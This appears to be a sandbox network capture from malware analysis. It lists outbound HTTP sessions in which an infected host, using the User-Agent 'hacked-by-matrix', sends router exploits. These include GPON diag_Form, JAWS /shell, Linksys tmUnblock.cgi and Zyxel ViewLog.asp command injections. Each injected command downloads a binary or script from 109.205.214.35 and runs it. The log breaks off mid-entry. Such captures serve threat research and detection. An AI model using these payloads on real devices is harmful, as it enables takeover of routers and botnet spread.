Mar 21, 2024 05:26:17.773541927 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:27.244303942 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:47.981352091 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	55144	95.101.176.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:08.421601057 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:08.596693039 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:08 GMT Date: Thu, 21 Mar 2024 04:26:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 31 37 61 37 62 35 63 26 23 34 36 3b 31 37 31 30 39 39 35 31 36 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.c17a7b5c.1710995168.0</BODY></HTML>
Mar 21, 2024 05:26:09.506513119 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:08 GMT Date: Thu, 21 Mar 2024 04:26:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 31 37 61 37 62 35 63 26 23 34 36 3b 31 37 31 30 39 39 35 31 36 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.c17a7b5c.1710995168.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	40210	212.53.214.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:08.421621084 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:08.596754074 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:08 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 21, 2024 05:26:09.159056902 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:08 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	37026	172.65.244.87	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:08.571232080 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	40726	181.117.246.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.167164087 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:25.968406916 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:45.931514978 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	42828	79.235.137.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168030024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	41420	210.104.66.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168037891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	39698	37.149.72.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168056965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	54358	42.70.69.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168057919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	33984	42.5.151.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168064117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	41648	42.83.150.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168119907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	51732	109.111.93.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168137074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	48664	178.180.28.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168165922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	34748	79.68.40.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168173075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	49076	94.161.72.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168186903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	57002	5.10.169.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168209076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	49892	212.116.188.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.168246984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 